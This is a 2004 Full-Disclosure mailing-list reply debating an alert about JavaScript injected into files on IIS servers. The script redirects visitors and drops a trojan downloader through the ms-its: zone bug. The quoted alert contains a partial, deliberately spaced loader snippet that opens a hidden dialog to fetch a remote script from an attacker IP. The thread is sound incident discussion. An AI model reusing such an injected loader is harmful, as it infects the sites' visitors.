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Re: New malware to infect IIS and from there jump to clients
From: Nick FitzGerald <nick () virus-l demon co uk>
Date: Fri, 25 Jun 2004 13:10:46 +1200
"Peter Kruse" <kruse () krusesecurity dk> wrote:
This is a heads up.
Or... PANIC, PANIC, PANIC...
A new malware has been reported from several sources so it appears to be fairly widespread already. The malware spreads from infected IIS servers to clients that visit the webpage of the infected server. How the IIS servers was compromised in the first place is unfortunately still unknown (any info on that would be appreciated).
There is _no_ evidence (yet) that this is spreading from "infected" IIS servers. _Some_ IIS admins whose servers are involved don't know how the content got on their servers, but that is far from grounds for claiming said servers are, or even may be, "infected". Of course they might be, but history suggests that slack admin'ing is at least as likely as an explanation...
The malware redirects a visitor to http: //217.107.218.147/xxx.php. It does so by running a javascript that apparently gets appended to several files in the webfolder of IIS (eg. html, .txt, .gif). The webpage loads http:// 217.107.218.147/xxx.html that contains the following code: <script language="Javascript"> function InjectedDuringRedirection(){ showModalDialog('md.htm', window, "dialog Top: -10000\;dialogLeft:-10000\;dialog Height :1\;dialog Width :1\;").location= " java script:'<SCRIPT SRC =\\' http:// 217.107.218.147/shellxxx.js\\'> <\ /script>'"; [snip - you get the picture, right?] I had to put in some spaces to get past trivial content filtering. From that point it will try to run the malware in a 1x1 dialogbox in the following order: shellscript_loadxxx.js shellxxx.js The shellxxx.js will try to drop "msits.exe" (51.712 bytes) a trojan-downloader and run it.
It does this via the now very old ms-its: protocol zone-handling bug... Apparently someone needs to decode a few more levels of JavaScript, etc to work this all out...
Consider to deny access to http://217.107.218.147 in your firewall. This will at least prevent client PCs from getting infected.
Thanks Peter, but what about all the _other_ servers out there also hosting more or less exactly the same files? Are you going to provide a list of all those IPs too? I've seen several (probably 5 or 6 others) in the last week or so with all the same files or just one difference (ignoring the trivial script differences necessitated by referring to different hosts) -- the .EXE that is eventually downloaded is a different variant.
Further information can be found in the daily log from SANS: http://isc.sans.org/
Woohoo -- SANS incident handlers have reported one incident of this they know about so the sky must be falling! Next... -- Nick FitzGerald Computer Virus Consulting Ltd. Ph/FAX: +64 3 3529854 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
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